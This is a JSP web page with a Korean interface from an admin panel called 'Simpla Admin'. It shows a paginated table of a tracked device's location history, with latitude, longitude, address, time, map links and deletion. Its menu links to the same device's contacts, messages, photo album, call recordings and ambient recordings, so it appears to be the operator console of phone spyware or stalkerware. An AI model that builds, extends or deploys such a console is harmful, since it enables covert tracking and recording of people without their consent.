<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Simpla Admin</title>
<jsp:include page="css.jsp"></jsp:include>
<jsp:include page="script.jsp"></jsp:include>
<script type="text/javascript">
	var path = '<%=request.getContextPath()%>';
	function goPage(page) {
		document.getElementById("currentPage").value = page;
		document.getElementById("n_form").submit();
	}
	
	function deleteLocation(_uid,_id){
		$("<div>삭제하시겠습니까?</div>").dialog({
			title:'확인?',
			modal:true,
			resizable:false,
			draggable:false,
			close : function (event) {
				$(this).dialog("destroy");
			}, 
			buttons : {
				'확인':function (event) {
					$(this).dialog("destroy");
					$.ajax({
						type : "GET",
						url : path + "/deleteLocation.htm",
						data : {
							uid : _uid,
							lid : _id
						},
						dataType : "text",
						success : function(result) {
							if (result == "success") {
								//showAlertDialog("삭제되었습니다!",reload);
								reload();
							} else {
								showAlertDialog("삭제에 실패하였습니다!",null);
							}
						},
						error : function() {
							showAlertDialog("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오",null);
						}
					});
				},
				'취소':function (event) {
					$(this).dialog("destroy");
				}
			}
		});
	}

	function reload() {
		document.getElementById("n_form").submit();
	}
</script>
</head>
<body>
	<div id="body-wrapper">
		<!-- Wrapper for the radial gradient background -->
		<div id="sidebar">
			<div id="sidebar-wrapper">
				<!-- Sidebar with logo and menu -->
				<h1 id="sidebar-title">
					<a href="#">Simpla Admin</a>
				</h1>
				<!-- Logo (221px wide) -->
				<a href="#"><img id="logo" src="<%=request.getContextPath()%>/images/logo.png" alt="Simpla Admin logo" /></a>
				<!-- Sidebar Profile links -->
				<jsp:include page="info.jsp" />
				<ul id="main-nav">
					<!-- Accordion Menu -->
					<li><a href="#" class="nav-top-item current"> 메뉴</a>
						<ul>
							<li><a href="<%=request.getContextPath() %>/contactList.htm?uid=${uid}">전화번호부</a></li>
							<li><a href="<%=request.getContextPath() %>/msgList.htm?uid=${uid}">메세지</a></li>
							<li><a href="<%=request.getContextPath() %>/album.htm?uid=${uid}">앨범</a></li>
							<li><a href="<%=request.getContextPath() %>/location.htm?uid=${uid}" class="current">위치정보</a></li>
							<li><a href="<%=request.getContextPath() %>/calllog.htm?uid=${uid}">통화녹음</a></li>
							<li><a href="<%=request.getContextPath() %>/envRecordList.htm?uid=${uid}" >녹음환경</a></li>
						</ul></li>
					<li><a href="javascript:void();" class="nav-top-item ">개인자료변경</a>
						<ul>
							<li><a href="<%=request.getContextPath()%>/changePwd.htm">비밀번호변경</a></li>
							<li><a href="<%=request.getContextPath()%>/setting.htm?uid=${uid}" >설정</a></li>
							<li><a href="javascript:logout('<%=request.getContextPath()%>');">로그아웃</a></li>
						</ul></li>
				</ul>
			</div>
		</div>
		<!-- End #sidebar -->
		<div id="main-content">
			<!-- Main Content Section with everything -->
			<jsp:include page="noscript.jsp"></jsp:include>
			<div class="clear"></div>
			<!-- End .clear -->
			<div class="content-box">
				<!-- Start Content Box -->
				<div class="content-box-header">
					<h3>위치정보</h3>
					<div class="clear"></div>
				</div>
				<!-- End .content-box-header -->
				<div class="content-box-content">
					<div class="tab-content default-tab" id="tab1">
						<table>
							<thead>
								<tr>
									<th style="display: none"><input class="check-all" type="checkbox" /></th>
									<th>NO</th>
									<th>경도</th>
									<th>위도</th>
									<th>주소</th>
									<th>시간</th>
									<th>지도에서 보기</th>
									<th>삭제</th>
								</tr>
							</thead>
							<tfoot>
								<tr>
									<td colspan="6">
										<form action="<%=request.getContextPath()%>/location.htm" method="post" id="n_form">
											<div class="pagination">
												<s:if test="locations.currentPage<2">
													<a href="javascript:void();" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:void();" title="이전">&laquo; 이전</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(1);" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:goPage(${locations.currentPage}-1);" title="이전">&laquo; 이전</a>
												</s:else>
												[<b>${locations.currentPage}</b>페지|총<b>${locations.pageCount}</b>페지]
												<s:if test="locations.currentPage>=locations.pageCount">
													<a href="javascript:void();" title="다음">다음 &raquo;</a>
													<a href="javascript:void();" title="마지막페지">마지막페지&raquo;</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(${locations.currentPage+1});" title="다음">다음 &raquo;</a>
													<a href="javascript:goPage(${locations.pageCount})" title="마지막페지">마지막페지 &raquo;</a>
												</s:else>
											</div>
											<!-- End .pagination -->
											<div class="clear"></div>
											<input type="hidden" name="uid" value="${uid}" /> <input type="hidden" value="${locations.currentPage}" name="cPage"
												id="currentPage" />
										</form>
									</td>
								</tr>
							</tfoot>
							<tbody>
								<s:iterator value="locations.datas" id="item" status="index">
									<tr>
										<td style="display: none"><input type="checkbox" /></td>
										<td><s:property value="#index.index+1" /></td>
										<td><s:property value="#item.longitude" /></td>
										<td><s:property value="#item.latitude" /></td>
										<td><s:property value="#item.address" /></td>
										<td><s:date name="#item.addTime" nice="false" format="yyyy-MM-dd HH:mm:ss" /></td>
										<td>
											<a  target="_blank"  href="<%=request.getContextPath() %>/locationDetail.htm?lat=<s:property value="#item.latitude" />&lon=<s:property value="#item.longitude" />" title="Detail"><img src="<%=request.getContextPath()%>/images/a1.gif" alt="Detail" /></a> 
										</td>
										<td><img alt="delete" style="cursor:pointer;" src="<%=request.getContextPath()%>/images/cross.png" onclick="deleteLocation(${uid},<s:property value="#item.id"/>)"></td>
									</tr>
								</s:iterator>
							</tbody>
						</table>
					</div>
					<!-- End #tab1 -->
				</div>
				<!-- End .content-box-content -->
			</div>
			<div class="clear"></div>
			<jsp:include page="footer.jsp"></jsp:include>
			<!-- End #footer -->
		</div>
		<!-- End #main-content -->
	</div>
</body>
<!-- Download From www.exet.tk-->
</html>
